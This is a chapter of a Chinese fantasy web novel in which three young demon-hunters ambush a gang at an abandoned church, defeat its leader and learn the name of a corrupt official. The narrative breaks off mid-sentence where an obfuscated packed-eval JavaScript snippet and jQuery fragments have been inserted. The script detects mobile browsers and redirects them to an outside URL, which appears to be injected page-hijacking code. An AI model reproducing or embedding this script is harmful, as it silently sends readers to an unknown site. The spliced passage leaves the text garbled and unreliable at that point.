(接上文)
三天后。
城西老城区,一栋爬满爬山虎的老旧居民楼顶层。
林墨站在窗前,看着远处灰蒙蒙的天际线,指尖无意识地摩挲着颈间的骨片吊坠。三天的平静,并没有让他放松警惕——恰恰相反,这种平静让他更加不安。暴风雨来临前的宁静,往往最是压抑。
身后,狭小的客厅里传来王琨和苏晴的说话声。
“我说小苏啊,你这‘金焰指’能不能换个地方练?昨天墙上的黑印还没擦干净呢!”王琨的声音带着几分无奈。
“对不起对不起!”苏晴慌忙道歉,指尖的金红色光芒瞬间熄灭,“我、我控制得还不太好……”
“行了胖子,别吓唬她。”林墨转过身,看着局促不安的苏晴,语气平淡却带着几分安抚,“法术控制需要时间,你才练了三天,有进步。”
苏晴抬起头,眼中闪过一丝感激。这三天里,她对这个沉默寡言的年轻破魔师有了更多了解——话不多,但每一句都有分量;看起来冷,但关键时刻靠得住。就像那天在图书馆,毫不犹豫地出手。
而她也在努力证明自己不是累赘。除了练习爷爷教的法术,她还主动承担了做饭打扫的活儿,虽然手艺一般,但胜在勤快。王琨嘴上抱怨,心里其实挺喜欢这个小妹妹。
“对了林墨,”王琨忽然想起什么,从兜里掏出一个皱巴巴的信封,“今早门缝里塞进来的,没有寄件人,就写了你的名字。”
林墨眼神一凝,接过信封。普通的牛皮纸,封口用火漆封着,火漆上的图案——
他瞳孔微缩。
那是一只展翅的黑色乌鸦,嘴里衔着一把滴血的匕首。
“血镰的标志。”苏晴凑过来,小脸微微发白,“他们……他们找上门了?”
林墨撕开信封,抽出里面的信纸。只有短短几行字,打印的,没有署名:
“三天后,月圆之夜,城北废弃教堂。带上那本笔记和那天伤我兄弟的小子,一个人来。否则,你们三个,一个都跑不掉。
——血镰留”
王琨凑过来看完,脸色也变了:“我靠!这帮孙子还真敢!林墨,咱们报警——不是,报破魔师协会吧!”
林墨没说话,把信纸放在桌上,目光沉凝。
苏晴咬着嘴唇,眼眶微红:“都……都怪我。是我连累了你们。要不,我把笔记给他们算了……”
“别傻了。”林墨淡淡打断她,“给了他们,你以为他们会放过我们?血镰行事狠辣,从不留活口。”
“那怎么办?”王琨急了,“总不能真一个人去吧?那不明摆着送死?”
林墨沉默了片刻,忽然看向苏晴:“你爷爷的笔记里,有没有关于‘血镰’的记载?”
苏晴愣了一下,摇摇头:“没有。但我记得爷爷提过一次,说有个叫‘血镰’的组织,背后有破魔师协会的高层撑腰,专门做见不得光的买卖。当时我还小,没太在意……”
破魔师协会高层。
林墨眼神微动。这就对上了。血镰敢这么嚣张,果然有靠山。而能让一个老破魔师在笔记里特意提起,说明这个靠山,恐怕级别不低。
他又想起那个邀请他们去工业区秘境的破魔小队——赵坤那伙人。他们和血镰,有没有关系?还是说,这只是另一拨人?
“林墨,”王琨小心翼翼地问,“你到底怎么想的?”
林墨没有立刻回答。他走到窗边,看着外面渐渐暗下来的天色,手指轻轻摩挲着颈间的骨片吊坠。冰凉依旧,毫无反应。渊息沉睡着,似乎真的只有在他“危难时”才会出现。但什么是“危难时”?濒死?还是……
他不想赌。
“他们让我一个人去。”林墨转过身,目光平静中透着一丝锐利,“那我就一个人去。”
“什么?!”王琨跳起来,“你疯了!”
“听我说完。”林墨抬手制止他,“我一个人去,可以麻痹他们,让他们觉得我们上钩了。但你们——”他看向王琨和苏晴,“不是真的袖手旁观。”
王琨愣了愣,慢慢反应过来:“你的意思是……我们偷偷跟着?”
“不止。”林墨走到桌前,手指在老旧的地图上点了点,“废弃教堂的地形,我需要提前摸清楚。血镰有多少人,埋伏在哪里,有没有后手,这些都要知道。”
他顿了顿,看向苏晴:“你爷爷的笔记里,有没有关于这个教堂的记载?”
苏晴想了想,忽然眼睛一亮:“有!我好像看到过!等我去找!”
她跑进临时给她收拾的小房间,翻出那本皮质笔记,快速翻动起来。几分钟后,她惊喜地叫道:“找到了!”
林墨和王琨凑过去。
那一页上,画着一座教堂的简易平面图,旁边用蝇头小楷密密麻麻写着字:
“城北圣母升天教堂,建于清末,民国时曾为破魔师协会秘密据点之一。地下建有密室,用于关押危险魔物及审讯敌对破魔师。五十年代废弃,但密室结构应仍在。入口位于圣坛下方,需以特定灵力波动开启。后人若至,可资利用。”
下面还附着一行小字,笔迹不同,似乎是后来加上的:
“血镰近年似有在此活动之迹,当心。”
林墨眼睛亮了。
“有地下密室。”他指着平面图,“入口在这里,圣坛下方。如果我们能提前进去埋伏,就能打他们一个措手不及。”
王琨挠挠头:“可是怎么进去?这上面说需要‘特定灵力波动’……”
苏晴忽然抬起头,眼中闪过复杂的神色:“爷爷的灵力波动……我可能模拟得出来。他教我的时候,说过我的灵力和他很像,可能是血脉的缘故。”
林墨看着她,沉默了片刻,点点头:“好。那就这么定了。”
三天的时间,在紧张的准备中飞快流逝。
王琨把山岳剑练得越发顺手,变大变小切换自如,甚至摸索出一招“泰山压顶”——将剑瞬间变大到门板尺寸,猛地砸下,威力惊人。苏晴则日夜钻研笔记,试图更精准地模拟爷爷的灵力波动,同时练习了几个爷爷留下的防身法术。而林墨——
他在熟悉星尘。
二十柄分裂体的极限,他早就达到了。但这三天里,他尝试着更进一步。三十柄,失败了。二十五柄,勉强支撑了十几秒。最终,他能稳定操控的极限,是二十二柄——比之前多了两柄。进步微小,但他已经很满意。毕竟魔物说过,分裂的数量会随着他的“等级提高”而增多。这需要一个过程。
更让他惊喜的是,他发现星尘有一个隐藏的特性——当二十柄飞剑同时攻击时,可以布成一个简单的剑阵。虽然还不完善,但威力已经远超单剑。他给这个起名叫“星尘剑阵”。
月圆之夜,如期而至。
城北废弃教堂孤零零地矗立在荒草丛生的坡地上,周围的民居早在十几年前就已拆迁,只剩这一座灰扑扑的哥特式建筑,在月光下投下狰狞的影子。破损的彩色玻璃窗反射着惨白的月光,像是无数只空洞的眼睛。
林墨穿着深色作战服,腰间悬着旧剑囊——里面装的是三柄旧飞剑,星尘则藏在剑巢中。他一个人,沿着荒草掩映的石子路,走向教堂正门。
风很冷,吹得荒草沙沙作响。月光将他的影子拉得很长。
教堂大门虚掩着,轻轻一推就开了。
吱呀——
沉闷的开门声在空旷的大厅里回荡。月光从破损的玻璃窗透进来,在地面上投下斑驳的光影。一排排腐朽的长椅东倒西歪,圣坛上的十字架已经歪斜,布满灰尘。
林墨走进去,脚步在石板地面上发出清脆的回响。
“我来了。”他站定在圣坛前,声音平静,“出来吧。”
话音落下,四周的黑暗中传来一阵狞笑。
嗖嗖嗖!
十几道身影从长椅后、从立柱后、从圣坛两侧涌出,迅速将林墨围在中间。每个人手里都拿着武器——特制的灵力短棍、加持过的砍刀、甚至还有两个拿着手枪——当然,是特制的、可以发射破魔子弹的手枪。
光头男从圣坛后转出来,脸上那道疤在月光下显得格外狰狞。他盯着林墨,眼中满是怨毒和得意:“小子,还真敢一个人来?有种!”
他身后,那天被林墨斩断手腕的寸头男也在,断腕处包着厚厚的绷带,看向林墨的眼神恨不得生啖其肉。
“笔记呢?”光头男狞笑着伸出手,“还有那柄飞剑,一起交出来。说不定老子心情好,留你个全尸。”
林墨看着他,目光平静得近乎冷漠:“笔记不在我身上。”
光头男笑容一僵:“你耍我?”
“我没那么傻。”林墨淡淡道,“带着笔记来送死?你当我是什么?但我知道笔记在哪。想要,就带我去见能主事的人。你?不够格。”
光头男脸色铁青,眼中的怒火几乎要喷出来。他身旁一个手下低声说:“老大,别跟他废话,先拿下再说!”
“拿下我?”林墨嘴角微微勾起一个弧度,那是他极少有的表情——带着一丝讽刺,“你可以试试。”
话音未落——
“嗡!”
星尘出鞘!
一道暗银色的流光从林墨身侧激射而出,速度快得在月光下只留下一道残影!紧接着,一化二,二化四,四化八——
眨眼间,二十柄暗银色飞剑如同绽放的死亡之花,悬浮在林墨身周,剑尖齐齐指向周围的敌人!剑身上的暗金纹路缓缓游走,在月光下闪烁着诡异而美丽的光芒。
所有人脸色都变了。
光头男下意识后退一步,瞳孔骤缩。他知道这飞剑厉害,但没想到——能分裂成二十柄?!
“这……这是什么鬼东西?!”有人惊叫。
“我说了,”林墨的声音从剑阵中央传来,平静依旧,“想拿笔记,带我去见能主事的人。否则——”
他心念微动。
一柄飞剑骤然加速,贴着光头男的脸颊掠过,削掉了他一缕头发,钉入身后的圣坛,剑身颤动,嗡嗡作响。
光头男脸色惨白,额头冷汗涔涔而下。
就在此时——
“哈哈哈!”
一阵粗豪的大笑从教堂二层传来。紧接着,一个身形魁梧、满脸络腮胡子的男人,从楼梯上大步走下。他穿着深红色的作战服,肩上绣着血镰的标志——但比光头男他们多了一道金边。身后还跟着四个气息明显更强的黑衣手下。
“有意思,有意思!”络腮胡男人走到圣坛前,上下打量着林墨,眼中闪过欣赏和贪婪,“小子,你这飞剑哪来的?老子混了这么多年,头一次见到这种宝贝!”
光头男见到他,立刻低头:“胡老大!”
胡老大摆摆手,目光依旧盯着林墨,还有他身周悬浮的二十柄飞剑:“笔记在哪?说出来,老子可以考虑收你入伙。你这本事,跟着血镰混,比当个破魔师强多了。”
林墨看着他,眼神平静无波:“你就是能主事的人?”
“老子是东南区分舵的副舵主,够格了吧?”胡老大咧嘴一笑,露出满口黄牙,“说吧,笔记在哪?”
林墨沉默了一秒,忽然笑了。
那笑容让胡老大心里莫名一突。
“笔记在哪?”林墨重复着他的话,然后缓缓抬起手,指向教堂大门的方向,“你出去看看,就知道了。”
话音刚落——
“轰!”
教堂大门被人从外面一脚踹开!月光下,一个圆滚滚的身影扛着一柄门板大小的巨剑,大步冲了进来!正是王琨!他身后,苏晴跟着,指尖金红色光芒跳动,小脸紧绷,满是紧张和决然。
“胖子?!你怎么——”光头男惊叫。
“怎么?以为我们真让林墨一个人来?”王琨嘿嘿一笑,山岳剑在手中一转,瞬间恢复普通大小,“兄弟们,干活了!”
胡老大脸色一沉,但随即又狞笑起来:“就凭你们两个?一个胖子,一个小丫头片子?小子,你这帮手找得可不怎么样——”
他的话没说完,就被一声惊呼打断。
“老大!不好了!”一个守在教堂后门的手下连滚带爬地跑进来,脸上满是恐惧,“后面……后面也有人!”
“什么?!”
胡老大还没反应过来,苏晴已经动手了。
她深吸一口气,双手虚合在胸前,指尖金红色光芒越来越亮,越来越盛——那是她这三天里,从爷爷笔记中学到的最强法术,也是她唯一还没完全掌握的:
“金焰——破!”
一道碗口粗的金红色光柱从她掌心激射而出,直奔胡老大而去!
胡老大脸色大变,狼狈地往旁边一滚,险之又险地避开。光柱擦着他的肩膀掠过,轰在圣坛上——
轰隆!
碎石飞溅,烟尘弥漫!本就腐朽的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316934|198963||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
圣坛被轰塌了半边!
“小丫头片子!”胡老大从地上爬起来,脸色狰狞,“给我上!全拿下!男的杀了,女的留着——”
他话音未落,一道暗银色流光已经到了他面前。
林墨动了。
二十柄飞剑如同被激怒的蜂群,四散开来!一部分拦截冲上来的打手,一部分直奔胡老大!剑光纵横,惨叫声此起彼伏!
王琨也冲进战团,山岳剑瞬间变大,一记“泰山压顶”砸下去,两个躲闪不及的打手直接被拍飞,撞在长椅上,口吐鲜血!
苏晴则退到一根立柱后,喘着粗气,小脸发白。刚才那一击耗尽了她大半灵力,但她咬着牙,指尖光芒没有熄灭,警惕地盯着四周。
战斗激烈而短暂。
血镰的人虽多,但林墨的飞剑太快、太刁钻。二十柄飞剑如同一支小型军队,配合默契,织成一张死亡之网。不到五分钟,地上已经躺了七八个人,剩下的几个也在王琨的巨剑下节节败退。
胡老大狼狈地躲过又一柄飞剑的袭击,看着手下一个个倒下,眼中终于闪过恐惧。
“撤!快撤!”
他厉喝一声,转身就往教堂后门跑!
但一道人影比他更快——林墨。
二十柄飞剑瞬间合一,化作一道流光,直取胡老大后背!
胡老大感觉到背后的杀意,亡魂大冒,拼尽全力往旁边一闪——
噗!
飞剑没有刺穿他的心脏,而是洞穿了他的右肩,将他整个人钉在了教堂的立柱上!
“啊——!”胡老大惨叫,鲜血顺着立柱流下。
战斗在这一刻彻底结束。剩下的几个打手见老大被擒,纷纷丢下武器,抱头蹲在地上。
王琨喘着粗气走过来,看着被钉在柱上的胡老大,啧啧道:“厉害啊林墨!真让你猜中了,这帮孙子果然有埋伏,但咱们也有!”
苏晴也从立柱后跑过来,小脸依旧苍白,但眼中满是兴奋:“我们赢了?我们真的赢了?!”
林墨没有答话,走到胡老大面前,看着这个满脸痛苦和恐惧的壮汉,眼神平静如水。
“谁派你们来的?”他问。
胡老大咬牙不说话。
林墨也不急,手指微微一动,钉在他肩上的飞剑轻轻一转。
“啊——!”胡老大又是一声惨叫,冷汗滚滚而下,“我说!我说!”
他喘着粗气,断断续续地说:“是……是破魔师协会的人!东南区分会的……一个高层!他让我们抢那本笔记,还有……还有调查那天工业区地下的事!”
林墨眼神一凝:“工业区地下?你知道什么?”
“我……我只知道那个封印!那是上古封印,据说镇压着什么了不得的东西!那个高层说,封印被人破了,让我们查清楚是谁干的,还有……还有那个东西去哪了!”胡老大哀嚎着,“我就知道这么多!真的!放过我!”
林墨沉默了片刻,又问:“那个高层,叫什么?”
“陈……陈九!他是东南区分会的监察使!”胡老大说完,整个人像泄了气的皮球,瘫在柱上。
陈九。
林墨默默记下这个名字,然后收回飞剑。胡老大顺着立柱滑坐在地上,捂着流血的肩膀,再也不敢动弹。
王琨凑过来,压低声音问:“林墨,这些人怎么办?”
林墨扫了一眼满地哀嚎的打手,又看向胡老大,淡淡道:“让他们走。”
“走?”王琨瞪大眼睛,“就这么放了?”
“不然呢?全杀了?”林墨摇头,“我们不是刽子手。而且,杀了他们,只会引来更大的麻烦。”
他看向胡老大,声音冰冷:“回去告诉那个陈九,笔记不在我们手上。至于工业区的事——我们什么都不知道,什么都没拿到。让他别再派人来了。否则——”
他一抬手,星尘飞剑在空中划过一道弧线,将一根碗口粗的立柱拦腰斩断!
轰隆!
立柱倒塌,尘土飞扬。
胡老大脸色惨白,连连点头:“是是是!我记住了!一定转告!”
林墨不再看他,转身向教堂门口走去。
走了两步,他忽然停下,看向苏晴:“你爷爷的笔记,借我看看。”
苏晴愣了愣,连忙从怀里掏出笔记,递给他。
林墨翻到最后一页——那里记录着关于工业区封印的部分。他的目光落在最后一行字上:
“有人在故意破坏封印。他们想放出里面的东西。我必须阻止他们。”
他合上笔记,递还给苏晴,然后继续向门口走去。
月光下,他的背影显得格外沉默。
王琨和苏晴对视一眼,连忙跟了上去。
教堂里,只剩下满地的伤者和瘫坐的胡老大。
以及——教堂深处,某双始终注视着这一切的眼睛。
当三人的身影消失在月色中后,一道黑影从教堂二层阴影里缓缓浮现。那是个穿着黑袍、看不清面容的人,身形佝偻,却透着股诡异的气息。
他走到胡老大面前,低头看着这个瘫软在地的壮汉,发出一声沙哑的冷笑。
“没用的东西。”
胡老大惊恐地抬头:“你……你是谁?!”
黑袍人没有回答,只是抬起枯瘦的手,在他额头轻轻一点。
胡老大眼睛一翻,软倒在地,再无声息。
黑袍人收回手,看向教堂大门的方向,月光下,那张隐藏在兜帽阴影里的脸,隐约露出一丝诡秘的笑容。
“有意思的小家伙……那柄剑……那个气息……”
他喃喃自语,声音沙哑而低沉:
“渊息……真的醒了啊……”
话音落下,他的身影如同烟雾般消散在月光中。
只留下满地的血腥,和死一般寂静的教堂。
远处,林墨忽然停下脚步,回头看了一眼夜色中那座灰扑扑的建筑。
“怎么了?”王琨问。
林墨沉默了一秒,摇摇头:“没什么。走吧。”
但他颈间的骨片吊坠,在他回头的瞬间,似乎微微颤动了一下——那三颗闭目的竖瞳浮雕,有一瞬间,仿佛睁开了缝隙。
只是那变化太过细微,连林墨自己都没有察觉。
月色如霜,夜风微凉。
三个年轻人的身影,渐行渐远,融入了苍茫的夜色之中。